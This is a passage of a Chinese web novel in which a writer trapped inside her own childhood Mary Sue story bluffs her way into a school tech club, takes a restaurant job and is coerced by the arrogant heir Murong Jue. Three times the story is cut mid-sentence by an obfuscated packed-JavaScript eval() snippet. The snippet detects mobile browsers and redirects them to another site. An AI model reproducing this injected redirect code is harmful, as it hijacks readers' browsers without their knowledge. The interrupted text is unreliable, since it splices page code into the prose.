“因为我以后恐怕都没有机会再进入科技协会了。”祁冉面色惆怅,“我很遗憾,所以我想至少体验一次和学长们步调一致共同向前的感受。” “没想到你竟然这样珍惜和我们相处的时光。”星痕被祁冉的话深深触动,便一口答应下来,“好。” 洛玄也给出了肯定答复:“泪儿小姐,无论你提出什么要求,我都会无条件同意的。” “我明白了。”南宫冷夜若有所思,“那就照你说的做吧。” 祁冉露出感激的微笑,直视前方迈出坚定的步伐。 一行人来到刚才观看监控录像的控制台前找到祁冉的学生证,祁冉将它揣进兜里,道过谢后突然转换话题,面对三位男主图穷匕见。 “学长,既然刚才我们进门时的步调一致,那么我已经获得了加入科技协会的资格。所以,请你们通过我加入科技协会的申请。” 洛玄疑惑地看着祁冉,星痕也愣了愣:“泪儿小姐,你在说什么?” “什么意思?”南宫冷夜蹙起眉尖,他显然也没能理解祁冉所说的话,“我说过,只有在第一次进入活动室满足这项条件才行。” 祁冉理直气壮地说道:“没错,但我刚才就是第一次进入活动室。” 她这明显就是睁着眼睛说瞎话,不光是在场的三个男主,活动室里其他听到这句话的会员也开始交头接耳。 “她在说什么?” “不知道啊。” “我怎么听不懂她的话?” 祁冉见状微微一笑,提高了嗓门说道:“学长,你们应该知道‘人不能两次踏入同一条河流’这句话吧,同理,人也不能两次踏入同一间屋子。” “所以,刚才我和星痕还有洛玄学长来的那趟确实是我第一次来到活动室,但我和你们刚才进入活动室时,也是我第一次来到这里。”她表现得泰然自若,游刃有余,“现在我已经满足了加入科技协会必备的条件,你们还要以什么理由拒绝我?” 实际上,祁冉自己都觉得她在说胡话。 她能这么说完全是死马当活马医,经过她今天的观察,她发现自己创造出的这个玛丽苏世界虽然逻辑混乱,但还不至于是梦到哪句写哪句的程度。 于是,祁冉决定使用每个网文作者的必备技能,即一本正经地胡说八道。 听完祁冉的诡辩,三位男主震惊地看着她,像是被卷入了剧烈的头脑风暴。 祁冉则坦然地望着他们,双手插兜,笑而不语,一副云淡风轻的bking模样。 在难捱的寂静中,只余下时间一分一秒地流逝。 祁冉在心底惊恐地呐喊。 这些人怎么都不吱声了,说话啊! “我说……”围观的学生中终于有人开了口。 “艾利牛顿出绝世天才了!” 伴随着这声惊叹,人群爆发出一阵开水沸腾般的喧嚣。 “学妹,你能再表演一遍吗,就是你刚才说的那些话。”几个学生挤到祁冉身边掏出纸笔,“我们将是第一批记录新的哲学名句的人!” “泪儿小姐果然智商超群。”星痕对祁冉的表现赞不绝口,他往桌边随意一靠,转头笑着看向南宫冷夜,“南宫,你打算怎么办?” 洛玄也把视线投向南宫冷夜:“泪儿小姐是世间罕有的杰出人才,拒绝她是我们的损失。” 南宫冷夜看了两人一眼,站起身维持秩序:“大家都安静一下。” 接着,他对祁冉说道:“泪儿小姐,我认可你说的话。我从来没想过,这个问题还有这种解法。既然这样……” 他扬起唇角,眼中的冷意因此有几分消融,向祁冉伸出右手:“欢迎你加入科技协会。” 祁冉维持着波澜不惊的微笑,同他友好握手:“谢谢学长。” 谢谢南宫冷夜,这段剧情终于要结束了。 其余两人也分别和祁冉握了手,星痕请她跟随自己去办理入会手续:“泪儿小姐,请随我来。” 两人沿长廊向前走了一段,进入社团办公室所在的隔间。按照星痕的提示,祁冉一一填完了个人资料表上的信息,搁下笔把表格交给星痕:“星痕学长,还有什么需要我填写的吗?” “没有了。”星痕检查了一遍表格的填写情况,在上面盖了章将它收进抽屉,“再交一下会费,你就是科技协会的正式会员了。” 参加社团要交会费是很正常的环节,祁冉点头道:“好的学长,我们的会费是多少钱?” “虽然科技协会要经常采购各种高端仪器和设备,日常开支不小,但为了减轻各位同学们的经济压力,我和洛玄还有南宫都会负担百分之八十的开销。”星痕笑了笑,“所以,每位会员只要交一千万元就好。” “只要”交一千万。祁冉想告他们非法集资,但很可惜,这里真的是法外之地。 她差点忘了这个世界的通货膨胀程度,更何况艾利牛顿还是贵族学院,大家都很有钱。 然而,在早上和慕容绝吵架时祁冉就问过系统,她当前的账户余额只有两千块。更糟糕的是,祁冉笔下的冰晶泪是经典主角设定,自打她出生起就没见过父母,从小在孤儿院长大,所以只能自力更生。 都来玛丽苏世界了,她怎么还是没当上富人啊! “星痕学长。”她窘迫地说道,“我现在没有那么多钱,可不可以之后补交?” 星痕惊异地问:“你为什么……” 祁冉知道他想说什么,便主动做出解释:“我是凭成绩入学的特招生。” 星痕了然地看看祁冉,对面前的女孩更多了几分钦佩:“原来是这样。” “没关系,泪儿小姐。”为了缓解祁冉的尴尬,他语气轻快地说着,“你的那份会费由我代缴。” 祁冉喜出望外:“那……” 她的一句“那真是太好了”还没说出口,系统的声音打断了她的话。 【剧情:面对星痕的帮助,坚毅自尊的泪儿果断拒绝了他的好意,决定靠自己打工赚钱缴纳会费。很快泪儿就被一家名叫“嘎嘎香炖菜王”的餐厅录用,约好了周末前去兼职。】 【任务:拒绝星痕的提议,稍后向“嘎嘎香炖菜王”餐厅询问兼职事宜,并在约定好的时间前去工作。】 浏览完任务内容,祁冉含泪把到嘴边的话咽了下去,义正词严地拒绝道:“那怎么好意思,这是我自己的事,不应该麻烦学长。如果我不能凑够会费,我就不应该加入科技协会。学长您放心,我会想办法尽快赚够钱的。” 尽管星痕再三劝说,最后还拉来洛玄和南宫轮番上阵,祁冉还是毅然决然地离开了科技协会。 但是她不甘心就这样服从打工的宿命,而且她算了算,加上自己要给慕容绝的赔偿,现在她身上的债务已经是天文数字了,她就算轮回一千次都还不完。 她向系统提问:“我可不可以把哭出来的珍珠眼泪拿去卖钱?” 她现在可以哭上一天一夜! 【理论上是可以的,但是您的账户余额不会因此增加,您也无法使用换来的货币,因为这是原书剧情中的底层逻辑。】 好霸道的设定。 虽然祁冉来到这个世界才过了不到一天,但她基本上已经被癫狂的剧情逻辑磨平了棱角,所以她选择躺平,不再费神抵抗。 下午最后一节课后,祁冉赶在打下课铃的瞬间就冲出教学楼,一路狂奔到学校门口,然后迅速搭上公交车回家。 这个世界的人全是神经病,她一分钟都不想在外面多待。 祁冉再三确认自己锁好了大门,这才顾得上喘口气问系统:“我的手机在哪?” 【您好,您的手机放在书桌中间的抽屉里。】 下午祁冉还在学校里的时候,在接到新任务后她就去自己书包里翻了一遍,但并没有找到它的踪影。据系统说,这是因为原书中设定上学的时候不许带手机。 看来她十岁的时候也不知道,大学生是可以把手机带进学校里的。 怎么在写这些设定的时候她又不参考偶像剧了啊! 祁冉来到卧室拉开抽屉,一眼就看见那个放在角落中花里胡哨的粉色翻盖手机。 ……真是太复古了。 不过按时间推算,十五年前市面上还没有出现多少智能机的身影,翻盖和滑盖手机确实是人们使用的主流款,在祁冉当时的想象中,人们使用这种手机合情合理。 祁冉拿起那个贴满了闪光贴纸的手机,翻开手机盖按下开机键。 屏幕上的两只手彼此交握后,下方显示出“NOKIA”的蓝色粗体字。 这个经典的开机动画也差不多已经成为时代的眼泪了。 根据系统给出的手机号,祁冉成功拨通了“嘎嘎香炖菜王”餐厅的电话。 她依稀记得,这是以前她家小区门口的一家东北菜馆,主打一个物美价廉。虽然在玛丽苏世界还要打工这件事让祁冉充满怨念,但这是她遇到的第一个听起来没那么高端奢华的场所,祁冉觉得在那里兴许可以治愈一下她饱受折磨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742088|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心灵。 一声提示音过后,手机对面传出一个优雅华丽的女声,她吐出的每一个字都像是经过严格的发音训练:“您好,这里是‘嘎嘎香炖菜王’。请问您有什么需要,预订座位还是餐品外送?” 祁冉觉得,这和她预想中的情况好像不太一样。对面那副悠扬婉转的嗓音更像是属于哪位知名歌唱艺术家。 受到她的影响,祁冉不由得紧张起来,也跟着用上了书面语:“您好,我叫冰晶泪,是一名大学生。我听说贵店常年招聘服务员,全职兼职均可,所以特来致电咨询贵店是否还需要人手,我想趁空闲时间去做兼职。” 那边的声音依然悦耳动听,却带上了几分冷意。 “冰晶泪小姐,您可能不太了解我们餐厅的理念和宗旨。Firstly,我们招聘的不是服务员而是friends,一起为顾客create出最温馨的氛围,让他们有宾至如归般的体验。Secondly,我们的time很宝贵,讲究高效率高质量,如果您是诚心加入我们的team,就请简洁明了地说明您的来意并主动介绍您的个人information,而不是像现在这样笼统地说一句您是college student。Lastly,如果您有求职意向,请发送您的简历到邮箱193……” “等等。”祁冉顾不上吐槽她那种中西结合的说话方式,找来纸笔说道,“麻烦您再说一遍,我记一下邮箱地址。” “……好的,祝您面试顺利,‘嘎嘎香炖菜王’期待您的加入。” 挂掉电话后,祁冉按照她的要求,编辑好了邮件内容点击发送。 虽然那人的说话态度和语调有点让人恼火,但她的用词还是挺有礼貌的,或许他们餐厅走的就是这种奢华上流的路线。 想到这里,祁冉突然觉得不太对劲,赶紧拿起手机搜索‘嘎嘎香炖菜王’的相关信息。 在检索结果页面最顶层的位置,赫然出现了一个英文标题。 怀着不祥的预感,祁冉点开标题,映入眼帘的是一个全英网站。她折腾了半天也没找到翻译功能,只能凭借着那点残存在自己脑海里的英语基础,勉强浏览餐厅信息。 通读全文后祁冉得知,这是一家高档西餐厅,服务对象是那些能够登上全球财富榜top500的富豪及其家属。 而她当年因为偷懒选择了拿来主义,为它取名为‘嘎嘎香炖菜王’。 这样一来,它就充满了外国人穿着大红大绿的碎花袄子搁炕上唠嗑抠脚的荒诞戏剧感。 祁冉悟了,这就是她在写作过程中一直不得要领的魔幻现实主义。 除此之外她还注意到,“嘎嘎香炖菜王”是慕容集团下属的餐饮公司。所以,现在慕容绝在她心目中的形象也正在向东北老哥无限逼近。 “铃——” 来电铃声及时制止了祁冉的思维朝着更远的方向发散,她按下接听键:“喂,您好?” “冰晶泪小姐,我向您确认一下,您是艾利牛顿商学院的大一学生对吗?” 对方就是那个刚刚与祁冉通过话的优雅女士,祁冉奇怪她现在怎么不说洋文了:“是的。” “既然这样,那您不用来参加面试了。众所周知艾利牛顿聚集着全球最顶尖的人才,我们相信贵校的选拔标准。您看您什么时候有空过来兼职?” 祁冉没想到艾利牛顿的名号这么好用,连忙回答道:“我周末有时间,星期六早上八点过去可以吗?” “可以,请您提前一小时到餐厅,我们会为您做个简单的岗前培训。” 祁冉结束了和对方的谈话,觉得她说的那句“讲究高效率”或许是真的。她的简历才刚发出去没几分钟,餐厅就给自己打来了回电。 而且艾利牛顿不愧是贵族学院,含金量就是高。 祁冉忙活了一整天,起身去给自己倒了杯水,坐在桌前一边休息一边梳理她已经掌握的信息。 首先,她当前的目标只有一个,那就是以自身安全为前提,根据系统指引完成全部剧情回到现实世界。 其次,这本书里有六名男主,而她目前已经遇见了其中的五个,并且与他们都产生了或多或少的接触。从当前情况来看,虽然他们都不是很正常,但似乎没有什么威胁性,不过,既然他们都有各自的秘密瞒着她,她也不能对他们掉以轻心。 最后,虽然系统不肯提前告知她主线剧情,但祁冉凭借丰富的阅读和写作量还有已知情报初步判断,她写的这本《幻彩泪光:星月王子们的心尖宠》应该是一本经典的融合了校园青春与豪门世家标签的套路言情文,讲述她这朵坚强的小白花是怎样在金钱与权力中不卑不亢,赢得男主们真正的尊重与爱慕的故事。 但如果是这样的话,有一个问题还是无法解释。 为什么系统会说,如果偏离剧情,她可能有死亡风险? 8. 金钱的诱惑 鉴于祁冉当前对这个世界还知之甚少,她只能暂时把心中的疑惑放到一边,在下一个剧情点来临之前照常去学院上课下课,顺便搜集更多信息。 到了周六上午,祁冉起了个大早打扮整齐,赶在约定时间之前抵达“嘎嘎香炖菜王”,在一名服务员的指引下来到店长办公室,向她说明来意。 “好的,冰晶泪小姐。欢迎你来到‘嘎嘎香炖菜王’。”店长从办公桌后起身和祁冉握了手,对她露出一个幅度恰好的礼节性微笑,既不显得太过亲近也不至于让人觉得冷漠,“你有英文名吗?” 祁冉如实回答:“没有。” “为了符合餐厅风格,我们的工作人员都是以英文名相称的。”店长随口为祁冉起了个新名字,“那我就叫你ice吧。” 祁冉怀疑她之所以会叫这个名字,完全是因为在“冰晶泪”这三个字当中,十岁的她只知道“冰”的英文翻译。 “……以上就是我们餐厅的基本制度和你的工作内容。接下来我再和你说一些我们店里的特色菜,如果有顾客让你推荐菜品,你就可以这样介绍给他们。” 祁冉专注地听着她的话,生怕其中有什么任务剧情会涉及到的信息。 然而店长刚一开口祁冉就明白了,她果然还是没能融入这个世界。 最后,祁冉还是凭借良好的个人修养与素质听完了全程,始终保持认真的姿态,没有露出一言难尽的表情。 做完岗前培训,店长又叫人带祁冉换上店内的统一制服,和其他老员工一起参加了早会,然后祁冉便开始了她的打工生涯。 “女士您好,您点的菜已经上齐了,请慢用。” 祁冉笑容满面地放下手中的盘子,忽然听见身后传来一阵浩浩荡荡的脚步声,单从声音的杂乱程度和分贝就能判断得出,来人至少有三十个。 祁冉站得离门口不远,便顺口说道:“您好,欢迎光临——” 当她转过身看到来人的脸时,那个“临”字差点卡在喉咙里出不来。 而男人也一眼看到了她,他松了松领带,对她微笑着点头致意。 Shift,怎么是慕容绝! 他一来准没好事! 系统的提示音验证了祁冉的猜想。 【剧情:泪儿正在“嘎嘎香炖菜王”努力打工时,慕容绝的出现打破了她的平静。他作为顾客对泪儿提出各种无理要求,泪儿终于忍无可忍,和他吵了起来。因为这里是慕容绝的地盘,餐厅为了息事宁人,强迫泪儿向慕容绝道歉,可倔强的泪儿认为自己没有过错,拒不服从。于是慕容绝提出了新的要求,他支付给泪儿一笔钱,让她陪自己一起度过这个周末,泪儿认为慕容绝在拿金钱侮辱她的人格因此更加愤怒,但最后还是敌不过他的权势被迫屈服。】 【任务:像服务正常顾客一样对待慕容绝,在他得寸进尺提出无理要求时与他争吵,拒绝店长让你道歉的要求,面对慕容绝开出的丰厚条件拒不妥协并怒斥他的傲慢与无耻,在受到威胁后被迫让步,答应他的要求。】 好经典的情节,祁冉脑海中闪过无数个偶像剧的名字。 前些天祁冉在查完资料得知“嘎嘎香炖菜王”是慕容家名下的公司之一时,根据著名的“契诃夫之枪”这一创作原则,她就猜到了慕容绝应该会在这里出现,但毕竟这家餐厅只是慕容集团的众多子公司之一,并不是由慕容绝直接管理,她也没想到他能来得这么快。 慕容绝一行人落座后,祁冉给他们倒了水,用双手捧着菜单将它递给慕容绝, “这是我们的菜单,请几位先生过目,看看您需要点什么。”祁冉脸上洋溢着热情的微笑,没显露出半点她心理活动的痕迹,“如果您拿不定主意,我可以为你们推荐一些菜品,帮助几位做出选择。” “是吗?”慕容绝根本没去翻菜单,他慢条斯理地往椅背上一靠,目光稳稳地投在祁冉身上,“那就请泪儿小姐为我介绍一下你推荐的菜品吧。” 祁冉拳头硬了。 这狗男人还装起来了! “好的先生。”祁冉努力回忆着岗前培训的内容,硬着头皮说道,“我们店里最受欢迎的是这道‘至尊奢华能量牛排’,每位到店的顾客基本上都会点一份。牛排所用食材并不属于市面上任何一种牛类,它是由我们的厨师混合全世界所有种类的牛肉制成,保证肉质紧实口感丰富,让您的味蕾享受到环球旅行般的独特体验,目前全世界只有我们餐厅掌握这种技术。” “还有这款‘闪耀每一天金色沙拉’,它的食材用料丰富,囊括当下市面上的所有新鲜时蔬,每一口都能让您感受到仅存在于当下的季节风味。最值得一提的是,在沙拉表面,我们的厨师会均匀撒上店内现磨的24K纯金碎屑,它不仅能提升菜品的美观程度,还会让您接下来几天的排泄物都闪烁着耀眼的金光,让您的每一天都从闪闪发光开始。” “如果您没有胃口吃这些主菜的话,一些甜品也是不错的选择。比如这款‘星辰之吻蛋糕’,香浓的巧克力层配上醇厚的杏子酱,顶层是世间罕有的陨石粉末,它来自十八年前那颗从未知星系飞出,最后坠毁在我国一座荒岛上的流星碎片,在做到甜而不腻的同时……” 说着说着,祁冉的额头上已经沁出了一层薄汗。 要背出这些又长又拗口的菜品介绍本身就是一项高难度挑战,而她在说话的过程中还要极力克制住自己想吐槽的冲动,这对她来说无疑是雪上加霜。 她小时候写文完全不查资料的是吗,没有考据全是想象! 这些顾客的牙齿和肠胃也真是够顽强的。 因为一直保持着餐厅规定的标准笑容,祁冉的脸都快僵了:“……先生,以上就是我们这里的招牌菜和今日推荐,您看您有什么喜欢的吗?” 背完最后一句介绍词,祁冉不着痕迹地长舒一口气。 慕容绝点点头,看上去对祁冉的表现非常满意。 “这些我都不需要。”他微微一笑,“我已经在家吃过了。” 祁冉真想把拳头招呼到他脸上。 合着她说了这大半天,纯粹是因为慕容绝想欣赏她表演报菜名? 虽然很生气,但为了任务,祁冉决定忍耐。 她继续保持着礼貌的微笑:“既然这样,那我为几位先生上几杯柠檬水解解腻吧。” “我不喜欢喝柠檬水。”慕容绝说道,“我要一杯红茶拿铁。” 祁冉迅速应答:“好的先生,我马上为您准备。” 她得赶紧趁这个机会远离慕容绝平复心情,要不然她越看这张脸越来气,迟早会抑制不住自己的冲动和他打起来。 “等等,我还没说完呢,你急什么?”慕容绝环视了一圈坐在他附近的保镖们,“我们一共三十六个人,要红茶拿铁、纯麦精酿黑艾尔、意式浓缩、红石榴气泡冰美式、焦糖玛奇朵、路易波士肉桂茶这六种饮品。其中,红茶拿铁4杯,纯麦精酿黑艾尔7杯,意式浓缩5杯……” 祁冉只觉得脑袋瓜嗡嗡作响,她在便签本上唰唰地记录着慕容绝的要求,笔尖都快磨出火星子来了。 显而易见,慕容绝这是在故意找茬,看她能忍到什么时候。 见祁冉仍然没发火,慕容绝加大力度,用更快的语速说道:“在那四杯红茶拿铁里面,一杯要冷饮,加焦糖酱和蜂蜜,这两者要提前用来自北冰洋的新鲜雪水冲泡并混合均匀,记得牛奶别加太多;一杯牛奶要多加,额外加苹果糖浆,糖浆必须是日期最新的法国品牌,但不要放过量;一杯……” 祁冉的怒气值已经积攒到了爆发边缘,但系统始终没有给出提示,她只能一一应下。 毕竟严格来说,慕容绝所提的要求虽然很明显是不怀好意,但都处在餐厅服务员的正常工作范围之内。 过了一会,祁冉咬牙切齿地端着托盘走了回来。 “泪儿小姐,我们又见面了。”慕容绝喝了一口祁冉端来的拿铁,将杯子重新放回杯托里,和她闲聊起来,“你就不好奇我是怎么知道你的名字的吗?” 从慕容绝第一次叫她名字的时候祁冉就注意到了这一点,她估摸着慕容绝应该是从洛玄那套出了自己的相关信息,所以懒得和他废话,转而做起了正事。 祁冉笑道:“慕容少爷手眼通天,哪有您不知道的事呢?” “看来泪儿小姐今天心情不错。”慕容绝好像没听出祁冉的讽刺,“上次我们见面的时候,你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742089|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像现在这样有耐心。” “是什么身份就该做什么事。”祁冉面带微笑,语气中却全是公事公办的态度,完全不跟着他的话题走,“慕容少爷是商界精英,您应该比我更懂得这个道理。现在您是顾客,我是服务员,让顾客拥有愉快的用餐体验是我的职责,仅此而已。” “是吗?”慕容绝像是想到了什么,笑容幅度更大了些,“只要能让顾客高兴,你做什么都行?” 祁冉听出他话里的陷阱,警惕地问道:“慕容少爷,您想干什么?” 慕容绝邪魅一笑。 “我要你把袜子脱下来给我。” 这人真是太变态了!!! 祁冉惊恐地后退了一大步,拉开两人之间的距离:“慕容少爷,请您自重。” 见祁冉终于作出了较为强烈的反应,慕容绝露出诡计得逞的微笑:“这不是你自己说的吗,让顾客拥有愉快的用餐体验是你的职责。” 那正常人吃饭也不会要服务员的袜子啊! 慕容绝看着祁冉惊恐万状的表情觉得很有趣,便起身向她靠近,步步紧逼:“泪儿小姐,你的脸色不太好,是不是有哪里不舒服?” 见慕容绝的手马上就要挨到她的脸上,祁冉化恐惧为愤怒,抓紧机会做任务,猛地推了他一把。 “慕容少爷,这里是公共场合,请您注意您的行为!”她义愤填膺地说道,连同刚才积攒在心里的怒火一并发泄出去,“您出身高贵,而我只是一个普通人,所以您可以为所欲为,一而再再而三地刁难我,欺辱我,把我当作一个供您取乐的玩具,您认为这样很有趣吗?” “当然。”慕容绝扬起唇角,“泪儿小姐,如果你站在我这个位置上就会明白,当你拥有一切的时候,不光是一个人,这整个世界都可以任你消遣。” 好自大的论调啊! 祁冉冷笑道:“不,慕容少爷,你从来没有真正地掌控过这个世界,就连我这样一个在你眼里微不足道的“底层人”都可以站在这里反驳你。你只是稍微比别人多了那么一点先天优势,就这样沾沾自喜,反过来欺压我们,可是你和我们又有多大的不同呢?就算你拥有与生俱来的财富,在你出生的那一天,那个夜晚并没有比平时更漫长,第二天一早,太阳照常升起,人们仍然过着一日三餐的生活,世界依旧按照它原有的规律有序运转。你根本没有你想象得那么重要。” 系统对祁冉的出色表演赞叹不已:【您果然很有当女主角的天赋!】 祁冉:哈哈,那还是算了,并不是很想要这种天赋。 不过读书还是很有用的,连祁冉自己都没发现,她居然在不知不觉中练就了出口成章的能力。 “怎么回事?” 几个服务员注意到祁冉和慕容绝之间的冲突,他们及时将情况报告给了店长,跟着她一起急匆匆地赶了过来。 当店长的目光落到慕容绝阴云密布的脸上时,她大惊失色地叫了句“慕容少爷”,赶忙向祁冉确认情况:“ice,你和他吵起来了?” “是他有错在先。”祁冉说道,“我一再退让,但他却得寸进尺,我是出于正当防卫才这样做的。” “慕容少爷好歹是我们的顶头上司,他说什么就是什么吧。”店长对祁冉好言相劝了几句,又对慕容绝赔着笑说,“慕容少爷,她是第一次来店里打工,还是新人,所以不太懂事,您别和她计较。” 说着,店长又赶紧撞撞祁冉的胳膊:“ice,快给慕容少爷道歉。” “我不。”祁冉犟嘴,“明明是他的问题,凭什么让我认错?” “既然泪儿小姐不肯道歉,那就答应我一个要求吧。”慕容绝面有愠色,但表情比刚才缓和了些。他给旁边的助手递过去一个眼神,示意他把东西拿出来。 助手心领神会地把一个大号手提箱放在桌子上,打开上面的密码锁。 祁冉定睛一看,手提箱里放满了一摞摞捆绑整齐的纸钞,闪烁着耀眼的七彩光芒。 不愧是玛丽苏世界,连货币都是彩色的。 但因为它不是现实生活中流通的货币,祁冉无法估量它的总价值。 她沉声问道:“慕容少爷,这是什么意思?” 9. 豪门日常 “虽然从道理上来讲,应该是你赔偿我的损失,但是我这个人比较大度,不会让你白白付出劳动。”慕容绝瞥了眼手提箱里的纸钞,“只要你能满足我的条件,我不仅不再追究你的责任,还会付给你一亿元的报酬。” 虽然一亿元对于祁冉来说已经是她这辈子都无法企及的资产数额,但放在这个玛丽苏世界实在不够看的。 光交一个会费就要一千万了,谁知道以后还会冒出多少要花钱的地方,这点钱根本不经花。 再说了,他都是全球首富了,给这么点钱看不起谁呢! 祁冉不为所动,按照剧本明知故问道:“什么条件?” “很简单,我只是想占用一下泪儿小姐这个周末的时间而已。”慕容绝盯着祁冉的脸,“接下来的日程你都要陪我一起度过,服从我的安排。” “你休想。”祁冉果断拒绝,“慕容少爷,你把我当成什么了?我是一个活生生的人,有自己的思想和主见。我的确很穷,但我会用自己的双手赚钱,而不是靠着出卖尊严获利。你这是在侮辱我的人格!” 就算真的要被侮辱,那也得加钱! “好啊。”慕容绝冷笑道,“如果你不答应我的条件,那你今天就会被开除,而且我会命令慕容集团下的所有公司不再接收你的简历。” “卑鄙无耻,堂堂慕容家的大少爷竟然会用这种下三滥的手段。”祁冉骂道,“你以为这样我就会屈服吗?全世界可不只有你们慕容集团一家公司,我被餐厅辞退后,依然可以找到新的工作。退一步说,我就算是死,死外边,从这里出去流落街头,也绝对不会接受你一点点恩惠!” 见祁冉不但不屈服,而且反抗得更加激烈,慕容绝终于亮出了底牌。 “既然这样,那其他人只能为你的行为付出代价了。” 他看向站在祁冉身边努力调解矛盾的店长:“你平时就是这样管□□工的?” 祁冉没想到这一口大锅会突然扣到店长身上,怔了一瞬后上前说道:“这和店长有什么关系?她——” 祁冉的话没说完就被店长拦住了,她摇摇头示意祁冉住口,把事情交给她处理。 店长向慕容绝赔着笑:“慕容少爷对不起,ice初来乍到,难免——” “如果今天站在这里的是其他顾客呢?餐厅服务员和顾客发生冲突并且拒不认错,这话传出去以后,慕容集团的信誉将会大大下跌。”末了,慕容绝轻飘飘地撂了句话,“你被开除了。” 店长愣了神,一时没反应过来该说些什么。 祁冉的愤慨脱口而出:“慕容绝,你殃及无辜算什么本事?” 打工人做错了什么啊! “很好,你现在还敢直呼我的大名了。”慕容绝怒极反笑,“你是不是还嫌受你牵连的人不够多?” 祁冉瞪着慕容绝,却也无可奈何。 最终,她作出了让步。 “好,我答应你的要求。”祁冉说道,“前提是你得保证店里的其他员工不会受到处罚。” “没问题。”慕容绝啃下了祁冉这块硬骨头,心情好转了不少,摆摆手让其他人都散了,“好了,这里没什么事了,你们都去工作吧。” 接着,他从座椅上起身,对祁冉微微抬起下巴:“泪儿小姐,请吧。” 祁冉面无表情地跟着慕容绝往前走,看上去好像还在为刚才的事情感到不悦。 但实际上,她正在脑中疯狂呼唤系统。 “慕容绝那么讨厌,这真是我小时候写的剧情吗?” 她都要快被慕容绝气死了,这人除了外貌简直是一无是处,她甚至怀疑自己小时候是不是有什么异食癖,怎么会喜欢慕容绝这样的人,还让他当男主? 【宿主您好,这的确是您写的剧情没错,但您只是给出了基础设定和基本情节,您在原文中的描述与我给您的剧情文案类似,剧情细节都是这些人物出于自身性格主动延伸的。举个例子,就像刚才的这段剧情,您在原文中只写了一句慕容绝用权势威胁您,但并没有写具体是怎样威胁的。】 那看来慕容绝这么讨厌,他自己也有责任! 不过听了系统的话,祁冉还意识到另一件事。 “照你的意思,这些人还有这个世界都是真实存在的?” 由于这个世界的逻辑太混乱,加上生活在这里的人都不太正常,祁冉一直没把他们当真人看。 【没错,这只是另一个时空中的世界而已。】 祁冉的世界观受到了猛烈冲击。 这算什么,她写了一堆bug,但它恰好以奇异的方式运行起来了? 她扭头看了看走在她身边的慕容绝,意识到他是真人之后,她觉得他更帅了,也更讨厌了。 一直到上车,祁冉都没能完全消化“这个疯狂的世界居然真实存在”这一信息,慕容绝看见她这副双目无神的表情,主动向她搭话:“泪儿小姐,你今天第一次来餐厅打工就遇见了我,你不觉得这件事太凑巧了吗?” 如果祁冉穿进的是一本正常的小说里,她当然是会注意这种细节的。 但这个世界到处都充满了她当初的突发奇想和灵机一动,慕容绝就算是半夜突然从她脚底下冒出来都不奇怪,哪还需要什么理由? 祁冉随口敷衍他:“‘嘎嘎香炖菜王’是慕容集团下属的众多子公司之一,既然它是您的产业,那您出现在这里自然是再正常不过的一件事。” “可我名下的公司遍布全球,我今天恰好在这里遇见了你,这未免也太凑巧了。”慕容绝笑了笑,自问自答道,“泪儿小姐,你就没有察觉到,你被餐厅录用的过程顺利得有些过头吗?” 祁冉当即反应过来:“是你让他们聘用我的?” 难怪那天下午店长的态度转变得那么快! 慕容绝微微颔首,对祁冉的话予以肯定。 “在这个世界上,没有我办不到的事。虽然我只从洛玄那里了解到你的名字,但凭借这条信息,我就足以掌握你的一切情报。”他挑衅似地对祁冉笑了笑,“从那之后我就给慕容集团及各个子公司发布了通知,让他们注意你的动向,一旦发现你进入我们的势力范围就要向我报告。” 难怪今天慕容绝一副有备而来的样子,原来他从自己联系餐厅时就已经听到了风声,提前做好了今天的计划。 虽然慕容绝这话很明显是在向祁冉显摆他雄厚的权势,同时告诉她摆脱他的控制是绝无可能的事,但此时祁冉满脑子里只有一个想法。 救命,她被慕容绝开盒了! 那她以后岂不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742090|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是毫无隐私可言,想想就觉得他好变态啊! 意识到自己被算计,加上她现在完全处于被动的境地,祁冉有一丝慌张。她极力让自己镇定下来,不让慕容绝发现她的异常:“那现在你要带我去哪?” 虽然她十岁的时候还是个纯洁的孩子,但她也不是没见过那些网页上的小说广告,那些小说为了博人眼球,通常都将限制级场面作为开头。 她没跟着他们学坏吧! “阿尔特艺术中心。”慕容绝依然是那副倨傲的语气,“今天全球规模最大的拍卖公司苏富D要在那里举办一年一度的秋季拍卖会,最后一件拍品是一幅全球仅存一张的世界名画,我想请泪儿小姐和我一起见证那幅画被我拿下的瞬间。” 听到他这样回答,祁冉松了口气,还好他们干的是正经事。 但是,她在看到前方一动不动的风景时又产生了新的疑惑。 她问慕容绝:“那我们为什么还不出发?” “因为我在等你把话说完。要不然的话……” 